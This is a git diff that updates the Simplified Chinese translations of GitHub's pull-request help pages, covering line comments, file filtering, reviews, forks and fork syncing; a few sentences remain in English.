+您可以在拉取请求的 **Conversation（对话）**选项卡上发表评论，以留下总评、疑问或提议。 您还可以提出拉取请求的作者可直接从您的注释中应用的更改。
 
-You can also comment on specific sections of a file on a pull request's **Files changed** tab in the form of individual line comments or as part of a [pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews). Adding line comments is a great way to discuss questions about implementation or provide feedback to the author.
+![拉取请求对话](/assets/images/help/pull_requests/conversation.png)
 
-For more information on adding line comments to a pull request review, see ["Reviewing proposed changes in a pull request."](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)
+也可以采用单独行注释的形式或者作为[拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)的一部分，在拉取请求的 **Files changed（已更改文件）**选项卡上对文件的特定部分做出评论。 添加行注释是讨论有关实现的问题或向作者提供反馈的好方法。
+
+有关向拉取请求审查添加行注释的更多信息，请参阅“[审查拉取请求中提议的更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)”。
 
 {% note %}
 
-**Note:** If you reply to a pull request via email, your comment will be added on the **Conversation** tab and will not be part of a pull request review.
+**注：**如果您通过电子邮件回复拉取请求，则您的评论将被添加到 **Conversation（对话）**选项卡上，不会成为拉取请求审查的一部分。
 
 {% endnote %}
 
-To reply to an existing line comment, you'll need to navigate to the comment on either the **Conversation** tab or **Files changed** tab and add an additional line comment below it.
+要回复现有行注释，您需要导航到 **Conversation（对话）**选项卡或 **Files changed（已更改文件）**选项卡上的评论，然后在其下方添加另一条行注释。
 
 {% tip %}
 
-**Tips:**
-- Pull request comments support the same [formatting](/categories/writing-on-github) as regular comments on {% data variables.product.product_name %}, such as @mentions, emoji, and references.
-- You can add reactions to comments in pull requests in the **Files changed** tab.
+**提示：**
+- 拉取请求评论支持与 {% data variables.product.product_name %} 上的一般评论相同的[格式](/categories/writing-on-github)，例如 @提及、表情符号和引用。
+- 您可以在 **Files changed（文件已更改）**选项卡中添加对拉取请求评论的反应。
 
 {% endtip %}
 
-## Adding line comments to a pull request
+## 向拉取请求添加行注释
 
 {% data reusables.repositories.sidebar-pr %}
-2. In the list of pull requests, click the pull request where you'd like to leave line comments.
+2. 1. 在拉取请求列表中，单击要留下行注释的拉取请求。
 {% data reusables.repositories.changed-files %}
 {% data reusables.repositories.start-line-comment %}
 {% data reusables.repositories.type-line-comment %}
 {% data reusables.repositories.suggest-changes %}
-5. When you're done, click **Add single comment**.
-  ![Inline comment window](/assets/images/help/commits/inline-comment.png)
+5. 完成后，单击 **Add single comment（添加单个评论）**。 ![内联评论窗口](/assets/images/help/commits/inline-comment.png)
 
-Anyone watching the pull request or repository will receive a notification of your comment.
+任何关注拉取请求或仓库的人都会收到有关您评论的通知。
 
 {% data reusables.pull_requests.resolving-conversations %}
 
-## Further reading
+## 延伸阅读
 
-- "[Writing on GitHub](/github/writing-on-github)"
-{% ifversion fpt or ghec %}- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- "[在 GitHub 上编写](/github/writing-on-github)"
+{% ifversion fpt or ghec %}-“[举报滥用或垃圾邮件](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)”
 {% endif %}
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
index bd7a9b087f..0a30811d46 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Filtering files in a pull request
-intro: 'To help you quickly review changes in a large pull request, you can filter changed files.'
+title: 过滤拉取请求中的文件
+intro: 要快速查看大型拉取请求中的更改，您可以过滤已更改的文件。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request
   - /articles/filtering-files-in-a-pull-request-by-file-type
@@ -14,25 +14,24 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Filter files
+shortTitle: 筛选文件
 ---
-You can filter files in a pull request by file extension type, such as `.html` or `.js`, lack of an extension, code ownership, or dotfiles.
+
+您可以按文件扩展名类型（例如 `.html` 或 `.js`）、无扩展名、代码所有权或点文件过滤拉取请求中的文件。
 
 {% tip %}
 
-**Tip:** To simplify your pull request diff view, you can also temporarily hide deleted files or files you have already viewed in the pull request diff from the file filter drop-down menu.
+**提示：**为简化拉取请求差异视图，也可以从过滤器下拉菜单在拉取请求差异中临时隐藏删除的文件或您已经查看过的文件。
 
 {% endtip %}
 
 {% data reusables.repositories.sidebar-pr %}
-2. In the list of pull requests, click the pull request you'd like to filter.
+2. 在拉取请求列表中，单击要过滤的拉取请求。
 {% data reusables.repositories.changed-files %}
-4. Use the File filter drop-down menu, and select, unselect, or click the desired filters.
-  ![File filter option above pull request diff](/assets/images/help/pull_requests/file-filter-option.png)
-5. Optionally, to clear the filter selection, under the **Files changed** tab, click **Clear**.
-  ![Clear file filter selection](/assets/images/help/pull_requests/clear-file-filter.png)
+4. 使用文件过滤器下拉菜单选择、取消选择或单击所需的过滤器。 ![拉取请求差异上方的文件过滤器选项](/assets/images/help/pull_requests/file-filter-option.png)
+5. （可选）要清除过滤器选择，请在 **Files changed（已更改文件）**选项卡下，单击 **Clear（清除）**。 ![清除文件过滤器选择](/assets/images/help/pull_requests/clear-file-filter.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About comparing branches in a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)"
-- "[Finding changed methods and functions in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request)"
+- “[关于比较拉取请求中的分支](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)”
+- “[在拉取请求中查找已更改的方法和函数](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request)”
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
index 94e8467a8d..9b0c5a1136 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
@@ -1,11 +1,11 @@
 ---
-title: Reviewing changes in pull requests
+title: 审查拉取请求中的更改
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests
   - /articles/reviewing-and-discussing-changes-in-pull-requests
   - /articles/reviewing-changes-in-pull-requests
   - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests
-intro: 'After a pull request has been opened, you can review and discuss the set of proposed changes.'
+intro: 打开拉取请求后，您可以审查和讨论一组提议的更改。
 versions:
   fpt: '*'
   ghes: '*'
@@ -25,5 +25,6 @@ children:
   - /approving-a-pull-request-with-required-reviews
   - /dismissing-a-pull-request-review
   - /checking-out-pull-requests-locally
-shortTitle: Review changes
+shortTitle: 审查更改
 ---
+
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
index 35a425283f..4d508f44d7 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing proposed changes in a pull request
-intro: 'In a pull request, you can review and discuss commits, changed files, and the differences (or "diff") between the files in the base and compare branches.'
+title: 审查拉取请求中的建议更改
+intro: 在拉取请求中，您可以审查和讨论提交、更改的文件以及基本和比较分支中文件之间的区别（或“差异”）。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request
   - /articles/reviewing-proposed-changes-in-a-pull-request
@@ -13,17 +13,16 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Review proposed changes
+shortTitle: 审核建议的更改
 ---
-## About reviewing pull requests
 
-You can review changes in a pull request one file at a time. While reviewing the files in a pull request, you can leave individual comments on specific changes. After you finish reviewing each file, you can mark the file as viewed. This collapses the file, helping you identify the files you still need to review. A progress bar in the pull request header shows the number of files you've viewed. After reviewing as many files as you want, you can approve the pull request or request additional changes by submitting your review with a summary comment.
+## 关于审查拉取请求
+
+您可以在拉取请求中每次审查一个文件的更改。 在拉取请求中审查文件时，可以对特定更改留下单个注释。 在完成审查每个文件后，您可以将该文件标记为已查看。 这会折叠文件，帮助您识别还需要审查的文件。 拉取请求标题中的进度条显示您查看过的文件数。 在按需要审查文件后， 您可以提交包含摘要评论的审查来批准拉取请求或请求额外更改。
 
 {% data reusables.search.requested_reviews_search_tip %}
 
-## Starting a review
-
-{% include tool-switcher %}
+## 开始审查
 
 {% webui %}
 
@@ -41,13 +40,13 @@ You can review changes in a pull request one file at a time. While reviewing the
 {% data reusables.repositories.start-line-comment %}
 {% data reusables.repositories.type-line-comment %}
 {% data reusables.repositories.suggest-changes %}
-1. When you're done, click **Start a review**. If you have already started a review, you can click **Add review comment**.
+1. 完成后，单击 **Start a review（开始审查）**。 如果已开始审查，您可以单击 **Add review comment（添加审查注释）**。
 
-   ![Start a review button](/assets/images/help/pull_requests/start-a-review-button.png)
+   ![开始审查按钮](/assets/images/help/pull_requests/start-a-review-button.png)
 
-Before you submit your review, your line comments are _pending_ and only visible to you. You can edit pending comments anytime before you submit your review. To cancel a pending review, including all of its pending comments, scroll down to the end of the timeline on the Conversation tab, then click **Cancel review**.
+提交审查之前，您的行注释为_待处理_状态并且仅对您可见。 您可以在提交审查之前随时编辑待处理的注释。 要取消待处理的审查（包括所有其待处理的注释），请在 Conversation（对话）选项卡中向下滚动到时间表的末尾，然后单击 **Cancel review（取消审查）**。
 
-![Cancel review button](/assets/images/help/pull_requests/cancel-review-button.png)
+![取消审查按钮](/assets/images/help/pull_requests/cancel-review-button.png)
 {% endwebui %}
 
 {% ifversion fpt or ghec %}
@@ -58,55 +57,55 @@ You can use [{% data variables.product.prodname_codespaces %}](/codespaces/overv
 
 {% data reusables.codespaces.review-pr %}
 
-For more information on reviewing pull requests in {% data variables.product.prodname_codespaces %}, see "[Using Codespaces for pull requests](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests)."
+有关在 {% data variables.product.prodname_codespaces %} 中审查拉取请求的更多信息，请参阅“[对拉取请求使用代码空间](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests)”。
 
 {% endcodespaces %}
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghec %}
-## Reviewing dependency changes
+## 查看依赖项更改
 
 {% data reusables.dependency-review.beta %}
 
-If the pull request contains changes to dependencies you can use the dependency review for a manifest or lock file to see what has changed and check whether the changes introduce security vulnerabilities. For more information, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)."
+如果拉取请求包含对依赖项的更改，您可以使用清单或锁定文件的依赖项审阅来查看更改的内容，并检查更改是否引入安全漏洞。 更多信息请参阅“[审查拉取请求中的依赖项更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)”。
 
 {% data reusables.repositories.changed-files %}
 
-1. On the right of the header for a manifest or lock file, display the dependency review by clicking the **{% octicon "file" aria-label="The rich diff icon" %}** rich diff button.
+1. 在清单或锁定文件标头的右侧，单击 **{% octicon "file" aria-label="The rich diff icon" %}** 多差异按钮以显示依赖项审查。
 
-   ![The rich diff button](/assets/images/help/pull_requests/dependency-review-rich-diff.png)
+   ![多差异按钮](/assets/images/help/pull_requests/dependency-review-rich-diff.png)
 
 {% data reusables.repositories.return-to-source-diff %}
 {% endif %}
 
-## Marking a file as viewed
+## 将文件标记为已查看
 
-After you finish reviewing a file, you can mark the file as viewed, and the file will collapse. If the file changes after you view the file, it will be unmarked as viewed.
+在完成审查文件后，您可以将文件标记为已查看，该文件将会收起。 如果查看过的文件有更改，将会取消已查看的标记。
 
 {% data reusables.repositories.changed-files %}
-2. On the right of the header of the file you've finished reviewing, select **Viewed**.
+2. 在完成审查的文件的标头右侧，选择**已查看**。
 
-   ![Viewed checkbox](/assets/images/help/pull_requests/viewed-checkbox.png)
+   ![已查看复选框](/assets/images/help/pull_requests/viewed-checkbox.png)
 
-## Submitting your review
+## 提交审查
 
-After you've finished reviewing all the files you want in the pull request, submit your review.
+完成审查拉取请求中需要查看的所有文件后，提交您的审查。
 
 {% data reusables.repositories.changed-files %}
 {% data reusables.repositories.review-changes %}
 {% data reusables.repositories.review-summary-comment %}
-4. Select the type of review you'd like to leave:
+4. 选择您想要留下的审查类型：
 
-   ![Radio buttons with review options](/assets/images/help/pull_requests/pull-request-review-statuses.png)
+   ![具有审查选项的单选按钮](/assets/images/help/pull_requests/pull-request-review-statuses.png)
 
-    - Select **Comment** to leave general feedback without explicitly approving the changes or requesting additional changes.
-    - Select **Approve** to submit your feedback and approve merging the changes proposed in the pull request.
-    - Select **Request changes** to submit feedback that must be addressed before the pull request can be merged.
+    - 选择 **Comment（注释）**留下一般反馈而不明确批准更改或请求其他更改。
+    - 选择 **Approve（批准）**提交反馈并批准合并拉取请求中提议的更改。
+    - 选择 **Request changes（请求更改）**提交在拉取请求合并之前必须解决的反馈。
 {% data reusables.repositories.submit-review %}
 
 {% data reusables.repositories.request-changes-tips %}
 
-## Further reading
+## 延伸阅读
 
-- "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)"
-- "[Filtering pull requests by review status](/github/managing-your-work-on-github/filtering-pull-requests-by-review-status)"
+- "[关于受保护分支](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)"
+- "[按审查状态过滤拉取请求](/github/managing-your-work-on-github/filtering-pull-requests-by-review-status)"
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
index 6e91cda0c6..ef6028cd86 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
@@ -1,6 +1,6 @@
 ---
-title: About forks
-intro: A fork is a copy of a repository that you manage. Forks let you make changes to a project without affecting the original repository. You can fetch updates from or submit changes to the original repository with pull requests.
+title: 关于复刻
+intro: 复刻是您管理的仓库的副本。 复刻用于更改项目而不影响原始仓库。 您可以通过拉取请求从原始仓库提取更新，或者提交更改到原始仓库。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/about-forks
   - /articles/about-forks
@@ -14,10 +14,11 @@ versions:
 topics:
   - Pull requests
 ---
-Forking a repository is similar to copying a repository, with two major differences:
 
-* You can use a pull request to suggest changes from your user-owned fork to the original repository, also known as the *upstream* repository.
-* You can bring changes from the upstream repository to your local fork by synchronizing your fork with the upstream repository.
+复刻仓库类似于复制仓库，主要有两点差异：
+
+* 您可以使用拉取请求将更改从用户拥有的复刻提交到原始仓库，也称为*上游*仓库。
+* 您可以通过同步复刻与上游仓库，将更改从上游仓库提交到本地复刻。
 
 {% data reusables.repositories.you-can-fork %}
 
@@ -29,17 +30,17 @@ If you're a member of a {% data variables.product.prodname_emu_enterprise %}, th
 
 {% data reusables.repositories.desktop-fork %}
 
-Deleting a fork will not delete the original upstream repository. You can make any changes you want to your fork—add collaborators, rename files, generate {% data variables.product.prodname_pages %}—with no effect on the original.{% ifversion fpt or ghec %} You cannot restore a deleted forked repository. For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
+删除复刻不会删除原始上游仓库。 您可以对复刻执行所需的任何更改—添加协作者、重命名文件、生成 {% data variables.product.prodname_pages %}—不会影响原始仓库。{% ifversion fpt or ghec %} 复刻的仓库在删除后无法恢复。 更多信息请参阅“[恢复删除的仓库](/articles/restoring-a-deleted-repository)”。{% endif %}
 
-In open source projects, forks are often used to iterate on ideas or changes before they are offered back to the upstream repository. When you make changes in your user-owned fork and open a pull request that compares your work to the upstream repository, you can give anyone with push access to the upstream repository permission to push changes to your pull request branch. This speeds up collaboration by allowing repository maintainers the ability to make commits or run tests locally to your pull request branch from a user-owned fork before merging. You cannot give push permissions to a fork owned by an organization.
+在开源项目中，复刻常用于迭代想法或更改，然后将其提交回上游仓库。 When you make changes in your user-owned fork and open a pull request that compares your work to the upstream repository, you can give anyone with push access to the upstream repository permission to push changes to your pull request branch (including deleting the branch). 这可加速协作，让仓库维护员在合并之前于本地从用户拥有的复刻对拉取请求进行提交或运行测试。 不可向组织拥有的复刻授予推送权限。
 
 {% data reusables.repositories.private_forks_inherit_permissions %}
 
-If you want to create a new repository from the contents of an existing repository but don't want to merge your changes to the upstream in the future, you can duplicate the repository or, if the repository is a template, you can use the repository as a template. For more information, see "[Duplicating a repository](/articles/duplicating-a-repository)" and "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)".
+If you want to create a new repository from the contents of an existing repository but don't want to merge your changes to the upstream in the future, you can duplicate the repository or, if the repository is a template, you can use the repository as a template. 更多信息请参阅“[复制仓库](/articles/duplicating-a-repository)”和“[从模板创建仓库](/articles/creating-a-repository-from-a-template)”。
 
-## Further reading
+## 延伸阅读
 
-- "[About collaborative development models](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)"
-- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
-- [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %}
+- "[关于协作开发模式](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)"
+- "[从复刻创建拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
+- [开源指南](https://opensource.guide/){% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
index 19207dd1b4..d340ea9a90 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
@@ -1,6 +1,6 @@
 ---
-title: Working with forks
-intro: 'Forks are often used in open source development on {% data variables.product.product_name %}.'
+title: 使用复刻
+intro: '复刻通常在 {% data variables.product.product_name %} 上的开源开发中使用。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks
   - /articles/working-with-forks
@@ -20,3 +20,4 @@ children:
   - /allowing-changes-to-a-pull-request-branch-created-from-a-fork
   - /what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
 ---
+
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
index 586100d514..dde9ca7cc1 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
@@ -1,6 +1,6 @@
 ---
-title: Syncing a fork
-intro: Sync a fork of a repository to keep it up-to-date with the upstream repository.
+title: 同步复刻
+intro: 同步仓库的复刻以通过上游仓库使其保持最新。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/syncing-a-fork
   - /articles/syncing-a-fork
@@ -17,24 +17,22 @@ topics:
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Syncing a fork from the web UI
+## 从 web UI 同步复刻
 
-1. On {% data variables.product.product_name %}, navigate to the main page of the forked repository that you want to sync with the upstream repository.
-1. Select the **Fetch upstream** drop-down.
-    !["Fetch upstream" drop-down](/assets/images/help/repository/fetch-upstream-drop-down.png)
-1. Review the details about the commits from the upstream repository, then click **Fetch and merge**.
-    !["Fetch and merge" button](/assets/images/help/repository/fetch-and-merge-button.png)
+1. 在 {% data variables.product.product_name %} 上，导航到您想要与上游版本库同步的复刻仓库主页。
+1. 选择 **Fetch upstream（提取上游）**下拉菜单。 !["Fetch upstream（提取上游）"下拉菜单](/assets/images/help/repository/fetch-upstream-drop-down.png)
+1. 查看上游仓库中有关提交的细节，然后单击“**提取并合并**”。 !["提取并合并"按钮](/assets/images/help/repository/fetch-and-merge-button.png)
 
-If the changes from the upstream repository cause conflicts, {% data variables.product.company_short %} will prompt you to create a pull request to resolve the conflicts.
+如果上游仓库的更改导致冲突，{% data variables.product.company_short %} 将提示您创建拉取请求以解决冲突。
 
-## Syncing a fork from the command line
+## 从命令行同步复刻
 
 {% endif %}
-Before you can sync your fork with an upstream repository, you must [configure a remote that points to the upstream repository](/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork) in Git.
+必须在 Git 中[配置指向上游仓库的远程仓库](/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork)，然后才能将您的复刻与上游仓库同步。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. Fetch the branches and their respective commits from the upstream repository. Commits to `BRANCHNAME` will be stored in the local branch `upstream/BRANCHNAME`.
+2. 将当前工作目录更改为您的本地仓库。
+3. 从上游仓库获取分支及其各自的提交。 对 `BRANCHNAME` 的提交将存储在本地分支 `upstream/BRANCHNAME` 中。
   ```shell
   $ git fetch upstream
   > remote: Counting objects: 75, done.
@@ -44,12 +42,12 @@ Before you can sync your fork with an upstream repository, you must [configure a
   > From https://{% data variables.command_line.codeblock %}/<em>ORIGINAL_OWNER</em>/<em>ORIGINAL_REPOSITORY</em>
   >  * [new branch]      main     -> upstream/main
   ```
-4. Check out your fork's local default branch - in this case, we use `main`.
+4. 检出复刻的本地默认分支 - 在本例中，我们使用 `main`。
   ```shell
   $ git checkout main
   > Switched to branch 'main'
   ```
-5. Merge the changes from the upstream default branch - in this case, `upstream/main` - into your local default branch. This brings your fork's default branch into sync with the upstream repository, without losing your local changes.
+5. 将上游默认分支 - 本例中为 `upstream/main` - 的更改合并到本地默认分支。 这会使复刻的默认分支与上游仓库同步，而不会丢失本地更改。
   ```shell
   $ git merge upstream/main
   > Updating a422352..5fdff0f
@@ -70,6 +68,6 @@ Before you can sync your fork with an upstream repository, you must [configure a
 
 {% tip %}
 
-**Tip**: Syncing your fork only updates your local copy of the repository. To update your fork on {% data variables.product.product_location %}, you must [push your changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
+**提示**：同步复刻仅更新仓库的本地副本。 要在 {% data variables.product.product_location %} 上更新复刻，您必须[推送更改](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)。
 
 {% endtip %}
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
index 2a067051d5..41f302f123 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
@@ -1,6 +1,6 @@
 ---
-title: What happens to forks when a repository is deleted or changes visibility?
-intro: Deleting your repository or changing its visibility affects that repository's forks.
+title: 删除仓库或更改其可见性时，复刻会发生什么变化？
+intro: 删除仓库或更改其可见性会影响仓库的复刻。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
   - /articles/changing-the-visibility-of-a-network
@@ -14,70 +14,71 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Deleted or changes visibility
+shortTitle: 删除或更改可见性
 ---
+
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
-## Deleting a private repository
+## 删除私有仓库
 
-When you delete a private repository, all of its private forks are also deleted.
+当您删除私有仓库时，其所有私有复刻也将被删除。
 
 {% ifversion fpt or ghes or ghec %}
 
-## Deleting a public repository
+## 删除公共仓库
 
-When you delete a public repository, one of the existing public forks is chosen to be the new parent repository. All other repositories are forked off of this new parent and subsequent pull requests go to this new parent.
+当您删除公共仓库时，将选择现有的公共复刻之一作为新的父仓库。 所有其他仓库均从这一新的父仓库复刻，并且后续的拉取请求都转到这一新的父仓库。
 
 {% endif %}
 
-## Private forks and permissions
+## 私有复刻和权限
 
 {% data reusables.repositories.private_forks_inherit_permissions %}
 
 {% ifversion fpt or ghes or ghec %}
 
-## Changing a public repository to a private repository
+## 将公共仓库更改为私有仓库
 
-If a public repository is made private, its public forks are split off into a new network. As with deleting a public repository, one of the existing public forks is chosen to be the new parent repository and all other repositories are forked off of this new parent. Subsequent pull requests go to this new parent.
+如果将公共仓库设为私有，其公共复刻将拆分到新网络中。 与删除公共仓库一样，选择现有的公共分支之一作为新的父仓库，并且所有其他仓库都从这个新的父仓库中复刻。 后续的拉取请求都转到这一新的父仓库。
 
-In other words, a public repository's forks will remain public in their own separate repository network even after the parent repository is made private. This allows the fork owners to continue to work and collaborate without interruption. If public forks were not moved into a separate network in this way, the owners of those forks would need to get the appropriate [access permissions](/articles/access-permissions-on-github) to pull changes from and submit pull requests to the (now private) parent repository—even though they didn't need those permissions before.
+换句话说，即使将父仓库设为私有后，公共仓库的复刻也将在其各自的仓库网络中保持公开。 这样复刻所有者便可继续工作和协作，而不会中断。 如果公共复刻没有通过这种方式移动到单独的网络中，则这些复刻的所有者将需要获得适当的[访问权限](/articles/access-permissions-on-github)以从（现在私有的）父仓库中拉取更改并提交拉取请求 — 即使它们以前不需要这些权限。
 
 {% ifversion ghes or ghae %}
-If a public repository has anonymous Git read access enabled and the repository is made private, all of the repository's forks will lose anonymous Git read access and return to the default disabled setting. If a forked repository is made public, repository administrators can re-enable anonymous Git read access. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
+如果公共仓库启用了匿名 Git 读取权限并且该仓库设为私有，则所有仓库的复刻都将失去匿名 Git 读取权限并恢复为默认的禁用设置。 如果将复刻的仓库设为公共，则仓库管理员可以重新启用 Git 读取权限。 更多信息请参阅“[为仓库启用匿名 Git 读取权限](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)。”
 {% endif %}
 
-### Deleting the private repository
+### 删除私有仓库
 
-If a public repository is made private and then deleted, its public forks will continue to exist in a separate network.
+如果将公共仓库设为私有然后删除，其公共复刻将在单独的网络中继续存在。
 
-## Changing a private repository to a public repository
+## 将私有仓库更改为公共仓库
 
-If a private repository is made public, each of its private forks is turned into a standalone private repository and becomes the parent of its own new repository network. Private forks are never automatically made public because they could contain sensitive commits that shouldn't be exposed publicly.
+如果将私有仓库设为公共，则其每个私有复刻都将变为独立的私有仓库并且成为自己新仓库网络的父仓库。 私有复刻绝不会自动设为公共，因为它们可能包含不应公开显示的敏感提交。
 
-### Deleting the public repository
+### 删除公共仓库
 
-If a private repository is made public and then deleted, its private forks will continue to exist as standalone private repositories in separate networks.
+如果将私有仓库设为公共然后删除，其私有复刻将作为单独网络中的独立私有仓库继续存在。
 
 {% endif %}
 
 {% ifversion ghes or ghec or ghae %}
 
-## Changing the visibility of an internal repository
+## 更改内部仓库的可见性
 
 
 
-If the policy for your enterprise permits forking, any fork of an internal repository will be private. If you change the visibility of an internal repository, any fork owned by an organization or user account will remain private.
+如果企业策略允许复刻，则内部仓库的任何复刻都将是私有的。 如果您更改内部仓库的可见性，组织或用户帐户拥有的任何复刻都将保持私有。
 
-### Deleting the internal repository
+### 删除内部仓库
 
-If you change the visibility of an internal repository and then delete the repository, the forks will continue to exist in a separate network.
+如果您更改了内部仓库的可见性，然后删除仓库，复刻将继续存在于单独的网络中。
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Setting repository visibility](/articles/setting-repository-visibility)"
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
-- "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)"
-- "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)"
